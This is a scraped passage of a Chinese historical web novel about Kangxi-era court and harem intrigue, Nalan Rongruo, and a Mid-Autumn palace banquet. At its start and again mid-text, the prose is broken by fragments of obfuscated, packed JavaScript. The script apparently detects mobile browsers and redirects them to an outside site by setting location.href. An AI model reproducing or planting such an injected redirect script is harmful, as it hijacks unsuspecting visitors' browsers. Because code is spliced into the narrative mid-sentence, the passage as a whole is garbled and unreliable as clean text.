l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624439|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,容若公子将要喜得贵子,明府上下欢庆,天下同乐。” 索额图拿起茶碗来饮了一口,只在心里乐呵二人的演技。 佟国维捕捉到索额图的心思,连忙道: “索大人你也不差啊!这皇太子叔姥爷的身份,自古以来几个人能有?亏得你忠君为国,有长公子阿尔吉善在福建水师守护大清海线安宁,二公子格尔芬当差御前……不像有的外戚执念太深,专爱弄权术弄心术,落得一个株连九族的下场,汉代的先例可是钉在了史册上的。” 索额图连连发笑,“本官是大清朝的忠臣,不是罪臣。明珠是大清朝的能人,不是罪人。佟大人,你说呢?” 佟国维赔笑道:“下官自然是明索两党的中间人,立在原地,任凭它什么风什么雨,都不倒不斜。” 索额图和气地给佟国维递了一块龙井酥,道:“佟大人,你无需多看历朝历代外戚专权的例子,多想想自个吧!蛟龙想要翻云覆雨,还得看天帝天后的脸色呢,光是自作聪明有什么用呢?” “索大人多言极是。”佟国维表面谦谦而心不谦,“下官牢记在心。” “放松点,放松点好啊!” ——别让过于真实的演技出卖了你。 ——什么叫做失真?佟大人你这副姿态就叫做失真。 明珠对佟国维看的透彻。 明珠拍了拍佟国维的肩膀,眼中流露出老练的、沉淀过的“期待感”。 他慢声轻调却又不失慷慨起伏,道:“景茵珠样样出挑,将来何愁不宠冠后宫,让佟大人你得偿所愿啊?” 佟国维客气道:“到底是惠妃娘娘被明珠大人调教的好,四妃之首的位置和六宫协理的执权,大家都是认的服的。小女只是吃了‘年轻’二字罢了,日后她的位分能到几何,岂是我这个阿玛可以预料的?” 索额图忽然站了起来,煞有介事道:“那自然是当上皇后啊!” 佟国维浑身一震,下一瞬,又因为迎上索额图的目光而惊诧。 他把斟茶的茶壶一晃,茶水洋洒了半个桌面,正滴滴答答地往下流,就跟应和着那三只老狐狸的—— 心照不宣的真心思一样。 “只是这皇后,”索额图风轻云淡地一弹官服上面的水珠,“在才貌之外,也要身体好、命数好才行,佟大人你说是不是啊?” 佟国维匆匆寻了个借口道:“都怪小女向来不信占卜之事,否则下官真想叫个术士来好好算上一卦,看看能算出什么因果机缘来。” “明珠大人你看看,要不怎么说佟大人的女儿懂事呢?”索额图把话题抛给自己的政敌,“知子莫若父,但是知父莫若女啊!” 明珠巧道:“只可惜你我生的都是儿子,哈哈……” 三人在席间对茶而笑。 这些笑容的背后,全是三人的勾心斗角和各派阀的暗流涌动。 越是细看,越是明灭深浅难分; 越是细探,越是黑白相争难清。 都是康熙朝所独有的朝纲环境罢了。 * 夜浓。 远黛择了一盘秋果给惠妃送去。 “娘娘,皇上去了昭妃的景仁宫,今晚翻的是昭妃的牌子。” “盛宠了德嫔那么久,皇上是该把雨露分洒在别的妃子身上了。” “奴才倒是觉得刮过后宫的秋风格外凉,又是到了添衣添被的时节。” “有人心寒有人心喜,后宫的四季不是一向照着心境来分的吗?”惠妃笑了笑,“有什么不同寻常?” “咱们宫里没有,永和宫那边的能习惯吗?”远黛扶惠妃到妆镜前面坐下,“德嫔娘娘需要皇上的恩威照拂,也需要隆科多的甜言蜜语,她就像是一朵绽放在悬崖边上的花儿,往左君心难猜,得之怕失;往右郎情难辨,万劫不复。” 惠妃亲自取下了一只绾发的玉钗,青丝倾泻而下,萦绕出浅浅清香。 她点醒贴身宫女道:“远黛,不能说德嫔不聪明,依附皇上,可以换来后宫的立足份量;贴附隆科多,可以为她将来诞下的皇子找靠山。她是时常敲打着自己的小算盘的。” “原是如此。”远黛轻轻为惠妃梳发,“原来德嫔知道朝中除了明索两党,最有可能成气候的——就是佟国维在筹谋的‘佟党‘,也就是所谓的’佟半朝‘。” “不错,德嫔跟隆科多只是相互利用罢了。”惠妃切入的精准,“二人建立在利益基础之上的爱情,哪有谁辜负谁?哪有谁对不住谁?” 惠妃看着镜中容颜,“哪怕是日后德嫔和隆科多恩断义绝,也不过是演戏给别人看的罢了。” “娘娘对一切看得透彻,终将是后宫的真正赢家。” “你忘了太皇太后的教诲?”惠妃回头,看着远黛的脸,“太皇太后说:后宫只有输家,没有赢家。赢的人,手段未必光彩;输的人,却是一恨成千古。” “那娘娘以为,何谓不输不赢?” “保持中庸不成,会变的平庸;一路高歌不成,会处处树敌。最佳方法,便是守着本分、自得尊重。” 惠妃看向镜中月。 月如旧,宫闱一夜风吹彻,卸钗几人轻寒? 朱颜落,消得几度红烛泪,眉梢淡了还画。 148.第148章 纳兰容若站在养心殿外的菩提树下,自我凝思。 近来皇上去后宫的次数明显多了,根据表妹惠儿的“传信”,昭妃虽是得了雨露最多的人,却仍旧低调:日常除了给太皇太后请安和例行与各位姐妹聚聊,就是在自己的景仁宫里看书,分毫没有“即将凤凰飞上枝头”的骄纵感。 ——看来太皇太后挑人的眼光没错。 纳兰如此感慨。 康熙皇帝听闻:翰林院有编修偷偷篡改史实来美化前明王朝、暗讽大清朝,不等将那人传来养心殿对质,就下令将那人以及相关的失职之人统统革职逐出京师。 徐乾学侥幸逃过一劫,原因是他近来盯状元郎彭定求盯的紧,压根没有闲暇顾及其他编修,因此其他编修犯错自然与他无关。 “不管者无罪,不报者反而遭罪,彭生你可把官场的规矩都瞧明白了?” 面对徐乾学阴阳怪气的提问,彭定求嗤之以鼻,冷面以对,不做回应。 徐乾学倒是乐呵呵地走了,走到院外的一棵树边去逗鸟,那只鸟是江南的文人集团“献给”他的,说是价值不菲。 进而康熙皇帝就询问了曹寅《天工开物》之事,曹寅口苦难言。 还在是顾问行顾总管说了句实在话:“万岁爷,这《天工开物》下落不明,原书作者宋应星不是更着急吗?您不过是想翻阅一个新鲜,宋应星可是会多心自己被牵连进什么大冤案里面的。” 玄烨道:“宋应星至少比张岱安分,除《天工开物》之外未写别的‘居心叵测’之书,朕有何理由抓他怪他?” 曹寅单膝跪地,请罪道:“皇上,奴才已经叫阿玛动员了江南各处的力量——包括商贾、文人、三教九流之人、甚至是莺歌燕舞楼里面的女人们,多方打听,一有消息就加急传书到京师。” 玄烨皱眉,“你怎么就把找书的目标锁定在江南?还……还去牵连那些歌楼女,不知道那些牌儿们嘴碎吗?” “皇上听奴才细禀,奴才叫来守城兵卒问话之际,从他们口中听得:‘神龙镖局’受托押送宋应星的书往江南去,但是镖物当中的‘罗带香’被索额图索大人的亲信所缴获,而擅长制作‘罗带香’者,名叫沈宛,正是江南出身的歌楼女。” “罗带香。”玄烨重复了一遍。 “回万岁爷。”梁九功机敏地把御桌上的茶碗挪了挪,“上回纳兰公子错饮了您的茶碗,就是那味‘罗带香’乱的神志。” “那‘罗带香’是朕亲自点的。”玄烨自己认了,“但是东西是索额图拿来的。” 曹寅立刻听出了皇上的弦外之音,道:“这确实不能怪皇上也不能怪纳兰,没准索额图索大人跟《天工开物》遗失之事有关,也未可知。” 玄烨顺着曹寅的话,点头道:“不必急着去盘问索额图,等江南那边有消息了,再来回朕。” “奴才遵旨。” 曹寅应完,先行告退。 玄烨看了眼平日里纳兰坐的位置,问顾问行和梁九功师徒:“纳兰没来吗?” 顾问行道:“回万岁爷,纳兰公子来过,但是对着菩提树站了半晌之后,又离开了。” 玄烨自己边说边外走:“他就是来看那棵树?” 梁九功紧随在后,“那棵树也是万岁爷您亲手栽的,纳兰公子相当于给您请过安了。” “朕的国事处理完了,现在去荣妃那里看看皇太子。” “那荣妃娘娘可是高兴了,万岁爷好些时候没去钟粹宫了。” “好,那朕今晚翻荣妃的牌子。” “奴才马上去通传——” * 钟粹宫。 夜色正浓,秋菊送香,恰是花好月圆时。 玄烨在敬事房公公的领路下,安置在荣妃处。 “臣妾给皇上请安,皇上万福金安。” “不必多礼,到朕身边来。” 玄烨笑着坐下,一手挨着皇太子的软榻,一手握着荣妃。 仔细看会儿皇太子的脸后,玄烨朝着未来的储君点了点头,胤礽虽小但是眉眼跟皇阿玛长得极像,如此看来,他将来的气概和抱负也不会输给皇阿玛,值得栽培,值得期待。 玄烨忽然又想到了自己小时候,自己幼时睡醒睁眼、上学堂、习骑射,所见的都是皇祖母孝庄的身影,而不是母亲。 皇祖母孝庄似乎就这么一直在自己身边扮演着“鞭策者”和“督促者”的角色,直到现在,更是以“老祖宗”的身份次次干涉册立皇后。 ——纳兰说的好,册立皇后不是凭皇上喜欢不喜欢,而是看大局势有利不有利。一意孤行内外有患,鉴机识辨百无一害。 ——如是如是,朕听从老祖宗的话,比不立皇后或是立错皇后的好。 玄烨执着荣妃的手到另一处双人榻上坐下。 “慈宁宫的掌事太监李福连一向多事嘴贫,他向太皇太后说的那些话,荣妃你不必往心里去。你能把皇太子照顾的好,将来不管皇太子叫你母妃还是额娘,都有朕给你做主。” “是。”荣妃应的温柔。 心中却很是惊讶,一时没有想到:自己竟会被皇上会这般体谅。 “在朕的后宫,每个嫔妃都有自己的责任。” “有人是朕的谋士,为朕分忧,主动说些有见解的话但却不干政;有人是朕的抚慰,待朕温顺恭敬,让朕如同处在风光明媚的阳春三月、心情爽朗;有人是朕的明镜,心性坦直,不对朕说违心话,敢于指出朕的不是,让朕惜取她那颗试金石一般的真心;有人其貌不扬、言语不多,但却能够触动朕内心的柔软之处,朕需要那份港湾般的归属感与平和感。” “所以啊,朕无非就是希望每一个后宫的女子都能认清自己:知晓自己在朕眼里属于哪种人、明晰自己应该如何为朕付出。” 说罢,玄烨转而问:“朕不想后宫变成是非之地,关于坤宁宫主位空缺,后宫可有什么闲话传出?” 荣妃诚敏道:“后宫各位姐妹时常温记着先皇后的教诲,犹如先皇后还在身边,并无闲言闲语。只是来年秀女大选,有新人进来,大家心中难免感叹流年、更加珍惜自己伺候皇上的福分。” “新秀女进来以后,你和惠妃宜妃一起,要多对她们进行教导才是。” “臣妾心中相信,新进来的各位妹妹都是全心全意爱着皇上的,只敢教各位妹妹规矩,不敢多劝暧昧。” “好,这些你跟惠妃宜妃商量着来办就是。” “是。” “朕不怕得不到后宫之中每一个女人的心,只怕自己征服不了纳兰性德的心,荣妃,你可明白朕的深意?” “臣妾明白,女人心只在乎情爱,臣子心却在乎情理,皇上和容若公子之间的一个‘理’字,既是‘各有道理’又有‘难理别绪’,要存个永远不失偏颇的‘公理’,必定是难的,所以容若公子的心——” 荣妃停了停,直视着康熙皇帝的眼睛,“介乎易碎和牢固之间,皇上亦是时常进退两难。” “正是如你所说,朕的彷徨与徘徊,数不清所少次是因为纳兰。” “臣妾虽是女子,但愿意为皇上分忧,今夜请皇上把臣妾当作倾诉心事的人吧!” 玄烨对着荣妃点了点头。 却是拉着她去往床榻,只暗示她同床共枕、而非对她聊更深一层的心事。 * 早晨。 玄烨醒来,洗脸更换朝服。 行走去往太和殿的路上,顾总管小心翼翼地问:“万岁爷,您昨晚在钟粹宫歇的可好?” 玄烨平静道:“朕一夜未眠,一下子思索纳兰心事,一下子又琢磨昭妃优劣,感觉有愧于荣妃。” “容奴才说一句,昭妃娘娘的福气和新的位分得是太皇太后发懿旨来晓谕六宫,万岁爷您不可在任何嫔妃枕侧矢言。” “朕正是因为知道轻重,才不去惠妃宜妃德嫔那里,只选择荣妃。”玄烨忽然放慢脚步,凝眉道,“这个后宫,朕有一种感觉:只有荣妃心里没有别人,像是惠妃宜妃德嫔她们心不完全属于朕。” “那昭妃娘娘可是格外不同了。”顾总管道,“一来她尊敬皇上深爱皇上;二来遏必隆大人死后,她没有别的后盾;三来她知书尽孝,不爱嚼舌根子,懂得约束自己。她只能完全信任皇上、依附皇上、相助皇上。” 玄烨沉默。 一个韬光养晦的女子,一个雄心万丈的帝王,倒也算是性情互补。 就此再立新后,也许能够变变后宫的风气也未可知。若非昭妃真的有坐镇坤宁宫的实力,皇阿奶也不可能做此决断,朕唯有拭目以待。 * 好些时日过后。 慈宁宫的掌事太监李福连李公公把“拟侧立昭妃为皇后”的讯息传递到六宫时,嫔妃们无不是:表面恭顺道贺而心中大惊。 大家聚在惠妃的延禧宫中,好似终于可以放开了嘴来说话一般,你一句我一句地聊起来。 宣嫔道:“今年中秋的好事,难不成就是这件拔得头筹了?” 平贵人道:“只是一个‘拟’字,册封时间还未定。姐姐可要想对头一些,一向后宫中秋节最大的喜事都只有一件,那就是皇家家宴。” “只怕是家宴的坐次也要变了。”宣嫔冷声,“原本在先皇后的三年孝期内,后宫是不宜有庆贺的场子的。” “何谓庆贺?”平贵人清醒道,“浮于表面的自然是歌舞喧嚣,而内涵在里的,还得是皇上脸上有笑容。皇上笑了,中秋家宴即便是安静的场子,氛围也是好的。” “还是妹妹会说话。”宜妃道,“让咱们这些先进宫的人都向妹妹学了。” “宜姐姐这就是笑话臣妾了。”平贵人趁机道,“昭妃是整个后宫里面最安静的,但是静有静的好,皇上始终记挂,也难怪她将来的福气比谁都大。” “妹妹何必带着酸味?”宜妃平和地微笑,“有人低调,一辈子遭受遗忘;有人不争,胜过强求。所以,还是要细品‘安份’和‘慎独’二词。” “宜姐姐是明白人。臣妾受教了。” 成妃道:“皇上冷落了昭妃整整五年,听说在这些岁月里,昭妃的闲暇时光全部用来读《史书》和《纳兰词》,正好是投了皇上的喜欢。最近一次皇上去瞧她的时候,竟然夸赞她说:昭妃乃是朕的良配,内廷之良佐。” “这就是说,昭妃跟皇上之间有了共同话题吗?”宣嫔问。 “咱们可是只敢把纳兰公子当成天上的一道白月光,悄悄的打开窗户望一望就好,多看几眼还怕人家公子有所感知,会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14636814|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生出心疼病来呢!昭妃竟然能读、能背、能跟皇上聊《纳兰词》了?” 成妃皮笑肉不笑,“皇上只当昭妃是在为他分忧,道:‘夜寐夙兴,克佐旰宵之治。’就跟是惠妃姐姐和荣宜二妃的协理六宫之绩全是虚的一样,还不如昭妃的一举切中要害了。” 忽然,传来了几声啜泣。 众嫔妃一留神,竟然是德嫔发出来的。 荣妃见德嫔把手绢从眼角移开,便问她:“妹妹,你怎么无精打采?眼睛还是红肿的?” 德嫔自然是不敢说自己心里念着隆科多,根本无心听各位姐妹的谈话。 就露出恰如真实一般的表情,难过道:“臣妾只是伤感罢了,眼泪全是为赫舍里先皇后流的。” “倒是德嫔妹妹记挂着先皇后。”荣妃感慨道,“想来今年中秋家宴,皇后的位置是空着呢?还是撤掉呢?又或者,是有谁应了太皇太后主张暂时坐上去呢?” “荣妃姐姐的话可是问到点子上了。”平贵人道,“家宴谁不想和和气气地吃饭、赏花赏月到散场呢?万一哪个环节失了规矩,可是整个后宫都高兴不起来的。” “有太皇太后在,没有什么会不顺畅的。”成妃道,“更何况前阵子的‘带刀侍卫私会嫔妃’一事也有了结果,茂贵人死了,奸人也被处死了,皇上最近有心情来后宫也是在理的。” 宣嫔疑道:“可是那个被处死的毓庆宫工匠,他一直在喊冤枉、死不瞑目呢!” “妹妹追究那么仔细做什么?”成妃反问,“皇上和太皇太后认定了‘带刀侍卫’是那个那个工匠假扮的,那他就必须死。冤屈只能到地底下去说。” 平贵人道:“听说,‘工匠假扮带刀侍卫’一事,是真正的带刀侍卫隆科多揭发的,隆科多还举证说自己的佩刀被盗,在那个工匠的临时工寮里人赃俱获。” “难怪皇上准了隆科多去北蒙古执行任务。”宣嫔自以为然,“原是隆科多在去之前就破了案、立了功吗?” “是了。”成妃道,“皇上恩准他此程离京也是应该的。” 惠妃静静地听着一切,未开口说一句话。 她看向德嫔,德嫔仍旧是时不时地用手绢点一下眼角,给人楚楚可怜的感觉。 ——这般带着“对先皇后的暧昧追思”和“对隆科多的若即若离”的表情,也亏得德嫔拿捏的到位。 ——要是此刻皇上来了,想必也会对德嫔万分垂怜,盼着宠她过后、让她恢复往日的娇俏明媚。 外头秋高气爽,里面人心各揣。 惠妃和笑道:“本宫看各位妹妹都累了,就各自回宫歇了去吧!” 众嫔妃起身:“臣妾等告退。” * 却说隆科多长途跋涉、只带了一众二十人的兵士来到北蒙古以后,对眼前的秋景是大为震惊! 清军要是在如此地貌上跟噶尔丹对战,怕是有六成兵卒会死在噶尔丹的强弩和硕马之下。 而且这天光云影、碎石砾沙、枯荣相间的青黄短草的:视线、环境、地貌,哪是习惯了“中原战术”或是“海陆打法”的清军能够应付的来的? 隆科多一低头,竟然看见了挂在腰间的—— 德嫔相赠的平安结。 “唉!” 隆科多在心中悲叹一声。 自己对德嫔并非全心全意的喜欢,一切甜言蜜语和告知纳兰容若的话,皆是虚假。可是到头来,在这荒地相伴的,也不过就是二十人亲信和“德嫔的爱意”而已。 隆科多悲自己,也悲姐姐景茵珠,都是皇权之下的牺牲品罢了! ——何曾有过自主?步步身不由己。 ——几时活得自在?岁岁为命束缚。 “唉!” 隆科多在心中发出第二声悲叹。 没准此时,德嫔还在宫中苦苦相思着他,却不知道他只是在利用她。甚至在权力和仕途上面,他会毫不犹豫地抛弃她、反咬她、出卖她,只为自己而活。 隆科多紧握着那只红色的平安扣,好似再用力一些就能挤出血来一样。 辜负了德嫔的真心,隆科多觉得这样的自己是个混蛋。也许这样真挚的情缘,这辈子只能遇见一次。 这一世,他是没法把“情与爱”都报答在德嫔本人身上了,唯有祈求老天爷能赐给德嫔一个儿子,一个承前启后、继往开来让大清的江山变得更好、吏治变得更清明的儿子,自己好为“那样一位成器的皇子”效尽毕升之力! 隆科多仰天凄笑。 ——皇上身边的人,全都是可怜人。 ——我隆科多、德嫔、纳兰公子、索二公子,全是可怜人。 横雁凌空而过,发出一声秋悲。 饮马急促踏蹄,原地嘶鸣,不知何处所往。 隆科多猛地扇了自己一巴掌。 然后顶着凛冽的秋风回头,对那二十员亲信大声道: “你等与本帅一同,前往前方合适之处扎营,休整一夜过后,再执行下一步任务。” 众兵士面面相觑,不知佟佳侍卫为何以“本帅”自称。 莫非,佟佳侍卫早有打算,想要立军功、成大业? 那么—— 佟佳侍卫想要辅佐的……是康熙皇帝膝下的那位皇子啊? 149.第149章 隆科多在北蒙古荒原上的想法,德嫔自然是不知道。 眼下,德嫔正独立在融贵人“失足”跌落的池子边,格外清醒地朝前方看。 贴身宫女墨心上前,劝道:“娘娘,仔细沾染了这里的晦气,咱们回去吧!” 德嫔确实是离开了池子,但她不是回宫,而是去了宝华殿,伴着数不尽的明灯独自面对庄严宝相。 释迦牟尼佛明睿慈悲,一身金装熠熠生辉。 德嫔双手合十,静念静思,试图让佛祖普渡这满身的杂念与怨念。 隆科多比康熙皇帝好吗?当然不是。 自己为什么愿意跟隆科多交好?简而言之,就是想给自己将来要出生的孩子找个依靠。且不论佟佳氏一族有秀女要进宫,就论隆科多跟佟国维之间的父子情分,日后他必定是剑走偏锋、站的对阵营。 那么自己应该如何让隆科多无条件站在孩子背后呢?说白了还是一个“情”字。 情字害人也好,养人也罢,眼下隆科多走了也好,是应当暂时搁浅了。来日方长,何愁没有互惠互利之机? 佛像静默无言,德嫔虔诚跪在蒲团之上。 她有自己的打算,一切都是为了孩子,如果孩子将来前途无量,那么如今自己所做的一切不合规矩的事又算什么呢?哪怕是粉身碎骨、飞蛾扑火,也心甘情愿,只要孩子有出息,母亲就不计较历历往事,不惧怕情真情假。 她下意识地摸了摸自己没有什么动静的腹部,略咬了一下嘴唇。 就在那一刹那,她的脑中又止而未止地出现了隆科多的脸庞,从模糊到具象,清晰的令她痛恨自己。 ——隆科多,这次去北蒙古,你可要好好活着,平安结所保佑的,可不止是你的平安,也是本宫跟孩子的将来。 ——隆科多,本宫对你的心也许只有半分真,但是本宫的眼泪却是千真万确地为你而流,你可晓得“心”与“泪”的可拆分性?心自私泪无私,心可转泪不逆,心可温泪唯咸。 德嫔低头一嘲自己:孩子,孩子……这样的我也在盼着早日为皇上诞下子嗣。 她闭眼,心中莫名忐忑起来,赫舍里皇后难产而死、皇上“承”字辈的皇子多数夭折、公主也不见得命数好。 复抬头,德嫔看着佛像的法眼,无声询问: 都说大佛开眼,开眼明示,明示则信者慧根自生。 信女只愿多得子嗣,延续皇上香火,还请佛祖耳听信女清音明愿,保佑信女来日生产之时,凡事顺遂。 不知信女能够为皇上诞下皇几子?若他是个天选之人,就请佛祖降下灵泽、让信女先一步知晓吧! 就在德嫔许愿叩拜完的那一瞬间,佛像就跟真的是感知到了她的心声一般,有所“回应”。 她只见四滴清露从佛前玉瓶中的杨枝条中落下,触地无声却不散形也不消失,“这莫非是预示着我会诞下四阿哥?” 她才这么想着,又听见一声不短不长、不轻不重的敲钵之音,铛——,回震于耳,存真在心,“莫非佛祖是要告诉我,皇上会给我的孩子取名带个‘真’字?加上偏旁,四阿哥的名字就是:胤禛。” 禛,“纳福吉祥、丰衣足食”之意,好兆头好名字啊! 若是今日所想成真,那信女日后定要诚心拜谢佛祖! 德嫔向大佛虔诚三拜。 * 半晌过后。 德嫔走出殿外,对宫女墨心道:“本宫要在宝华殿祈福奉斋一个月,中秋家宴和别的事情,一概不去。” 墨心提醒:“娘娘,拟册立新皇后的苗头才刚刚出来,您就这般回避,就不怕遭了有心人的碎嘴?” “本宫没什么好怕的。”德嫔变得异常坚韧,“谁要说什么就让谁说去,佛祖在上,定会事事加持本宫。” “娘娘,要是求佛真能灵验的话,奴才就求佛祖保佑娘娘:早日诞下一位聪明顶用、气吞山河的小阿哥来。” “气吞山河?”德嫔重复了一遍。 “是啊!”墨心肯定道,“奴才是娘娘的人,定是毫无保留地为娘娘和娘娘的子嗣着想的。在奴才心里,娘娘的小阿哥定是位天资和抱负都不输给皇太子的大清栋梁之才。” 听到这些话,德嫔精神一振。 她深深相信:佛祖全都听清听全和听懂了,墨心的愿望又何尝不是自己这个想当母妃的人的愿望呢?但求诸愿成就。 * 延禧宫。 玄烨躺在惠妃身侧,毫无睡意。 其实近来玄烨无论是翻了谁的牌子,都是难以清睡至天明。 朝务之中并无要事,军务也无急报要理,连行踪不定的世外高人施道渊也主动上书陈述民情民风,还有那个隔三差五就要折腾出一番“青天为民,大行改革”的举措来的廉吏于成龙,也安分的很…… 本应一身轻松才对,为何就是睡不着呢? “皇上,今年的中秋家宴是苏嬷嬷亲自督办的。”惠妃详细告知,“原本后宫各位姐妹担心的‘皇后之位’该不该设、或是设了以后是否该有谁暂坐的疑虑,苏嬷嬷也拿了主意:只让太皇太后和皇上在主位上左右居中并坐,就不像往年一样设立三席:太皇太后、皇上、中宫之主依次列位了。” 玄烨本想告诉惠妃,自己恩准了纳兰父子一并入宫来赴宴。 但又不想自己的女人的心里多种情思,就做了罢,只道:“坐次上的规矩就按照苏嬷嬷的意思办,其它的膳食、赏月、邀月、联诗等活动,都准备妥当了?” “是。”惠妃道,“拜月的枝豆、鲜藕、桂花糕、秋梨都备好了;团圆的月饼、糯米团子、栗子糕、芋丝饼、桂圆鸭子汤等御膳房也都仔细着在弄;《祭月表文》南府已经拿给太皇太后过目,祭月仪式有所简化,礼赞官将会遵照太皇太后的意思来履行流程。” 玄烨试探着:“你不向朕提及纳兰吗?中秋要联诗,少不得他来助兴。” 惠妃神色如常:“禹画师不在,皇上何不亲自画一幅《赏月图》出来,叫纳兰公子在上面题诗?岂不是珠联璧合,千金难买?” 玄烨笑了笑,搂过惠妃的腰,“你才不输貌,提笔应制朕的画作来作诗,不是比皇宫家宴多个外人来捧场的好吗?” “是,不管后宫日日还是中秋节当日,臣妾的心都向着皇上,受皇上的夸赞、也接皇上的考题。”惠妃温婉,“还捂着皇上的心。” 玄烨心情大好,“惠妃,朕看你不但会说话,也最能宽解朕的状态。所以朕喜欢到你这儿。” 惠妃笑而不语,只静静感受着帝王的气息。 在她看来: 康熙皇帝亦是功利,把每个妃子的性情和作用都划分的清楚,每每临幸,与其说是共温感情,不如说是各取所需。 后宫对他而言,不是倦累之后歇下的温柔乡,而是令他判断无误抉择的试验田;也不是朝务之余放松的欢情地,而是令他满足皇权无上的证道地。 惠妃轻笑,倒是德嫔活的明白。 ——本就各怀动因,何来无私或亏欠? ——自古深宫负深情,不如愁酒浇月眠。 “睡吧。朕不松手,就这这般姿势与你搂腰至天明。” “嗯。” 她本不愿在枕边人旁侧想起容若表兄,但是被康熙皇帝的言语一暗示一挑拨,反而幽思绵绵。 * 中秋节当日。 得了康熙皇帝的恩典,明珠父子一并赴了宫宴。 觉罗氏对卢氏教导道:“虽说中秋节是一家子坐在一起吃饼赏月的日子,但是老爷和公子能够进宫与皇上共明月夜,便是纳兰家的殊荣,你要多包容着才是。” “是,额娘。”卢氏一向识大体,“尔谖跟额娘和袖云妹妹一同品尝家宴,等待阿玛和公子明早归来。” 觉罗氏拉着卢氏的手,往正厅方向走,“额娘倒是替容若过意不去,叫你守空房。” 卢氏懂事道:“房间内有公子新题的画扇词,房间外有公子亲挑的秋菊,迎着明月,尔谖心中不孤独。” 正厅之中。 袖云已经先一步坐着,觉罗氏见她身子重不方便,就免了她的礼。 “尔谖袖云,揆叙揆方,今晚咱们一起过中秋。”觉罗氏微笑着,“月亮还是团圆月,渌水还是阖家水。” 接下来,丫鬟们便依次端上了果盘和菜肴,又添设了茶饮,才站到一边随时等待吩咐。 觉罗氏亲自划分了桌面正中央的大五仁月饼,分盛到家人们的盘中。 “五仁月饼,五福临门;圆中取块,好意盈盈。纳兰一家,平安祥迎。” 卢氏等人的脸上,都是带着笑容,谢过觉罗夫人后仔细品尝美味。 * 皇宫的宴席之上。 康熙皇帝未对纳兰容若做额外的关注和提及,明珠反而看出来了:儿子似乎身体有所不适,带着些秋困和秋乏,只是强打着精神,充当了一个领了“圣恩”的“场内观赏品”的角色。 再看景仁宫的昭妃,穿着打扮竟然是众嫔妃当中最朴素的,还不如位分低的贵人和常在艳颜显目。 惠妃坐在“回字形”席位的太皇太后的右手侧的一列的最前面,端庄大方,自带着“众妃之首”的风范。 明珠满意地对纳兰惠儿点了点头,在儿子耳边小声道:“容若,你好歹动一动筷,别跟一座雕像似的当摆设品。惠妃娘娘的座次你也瞧见了,是后宫中占得住脚的人儿。” 见儿子不回应,明珠又提醒道:“如今你可是坐在康熙皇帝一抬眼就能看到的地方,家里的额娘和妻妾不差这一阵子的记挂,把心思全都放在宴会上来。” “阿玛,儿吃不下东西。”容若看着眼前的特备素盘,“脑中虽乱,但也在酝酿应制词句。” “身子不适也得忍着。”明珠的言语之间透露出关切,“不然扫了康熙皇帝的兴,你如何担待?” “儿忽然想,‘辛苦’一词用在‘天上月’上面合适,月仙听了那么多凡人们的许愿,能解几何?能满足几何?” “只要不是‘心苦’就好。”明珠道,“后宫苦水多,天上月倾听的哀怨也多,光辉照耀不过来,满愿也只能实现在少数人身上。” “所以儿才觉得惠儿此刻心里苦。” “她苦你也苦?”明珠轻踢了一下儿子的脚,“到时候被康熙皇帝察觉,就是你俩都受皮肉之苦。” 容若拿了一只松露饺子吃起来,但却是心里闷着一口气,吞不进去。 在他把那一口吐在碟子中的时候,康熙皇帝忽然皱眉,打发了顾总管上前询问。 “公子这是怎么了?”顾总管叫人撤了那盏碟子,“万岁爷可是把给公子的膳食单子上面的菜色都一一过目了的,口味也是尽量照着明府的规矩来做的。” 看着顾总管那副“纳兰公子不爱吃,御膳房就有人要受罪或是掉脑袋”的模样,明珠赶忙替容若应道:“我儿只是胃口不佳……”觉得自己措词不当,明珠又改口道:“我儿只是着了秋凉,才会消形见瘦一些,影响了食欲。本官自当好生调养着容若,请皇上不必记挂。” 顾总管才要转身去回话,却不料康熙皇帝已经走到了明珠父子跟前—— 万岁爷的那副模样,既不是要对纳兰公子怪罪,也不是有所包容和理解,而是想用“别的方式”来让纳兰公子对这场宫宴百分百满意一般:高傲当中带着执拗,自负当中带着威严。 * “朕照着惠妃的提议,画了一幅《赏月图》。” 玄烨看了顾总管一眼,顾总管立刻击掌三声,就有两个小太监一同把已经装裱好的皇帝御笔画作连着梨花木立台一并拿了进殿。 纳兰一看, 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这时候,苏麻喇姑来到康熙皇帝面前,道:“皇上,奴才来传老祖宗的话。这里面的‘色香味’难免沉闷,不如叫纳兰公子题词御画之后,就准了他先一步出去散心望月吧!” 玄烨自然是不敢当众不听孝庄的话,就对纳兰道:“此画并非是朕心血来潮之作,而是参合了惠妃的心意所作。你应和着那个‘惠’字,写一首能服众的词出来的?” 纳兰想问:臣犯了什么错?众人有什么不满?臣为何要服众? 但在接触到孝庄的神情的那一瞬间,纳兰就做了罢,不再跟皇上在嘴皮子上较劲。 梁九功谨慎地端上了笔墨。 纳兰在《赏月图》的空白处写下: 《一浮盏·月似镜水》 月似镜水,眼前花如锦。摇曳生动清风,暗香调(tiao)浓落星。一片冰心瑶瑟上,弦音未起曲自明。 今宵梦,明朝露,惠风和畅云影轻。晚媚云秦,悬眉楚汉,暗忆天上人间彻清。玉鉴未觉风朦胧,碧潭雕心、一字点轴,过笔穿墨清晖临。 玄烨看罢,直击而问:“你连用三个‘清’字,是想表达什么?” 纳兰道:“臣是大清的子民,一颗心向着大清,皇上清明而治,天下大幸。” “朕要你说实话,你觉得朕这幅画画的如何?” “应节应景不应人。” “你——”玄烨指着那个“惠”字,话音戛然而止。 “这个‘惠’字加个部首变成‘穗’字,恰是应和了秋收之盛,”纳兰提笔补足,“穗风和畅也说得通,春华秋实,岁岁平安。” “纳兰,你很聪明。”玄烨直视着他,“可知道,有时候聪明反被聪明误?” 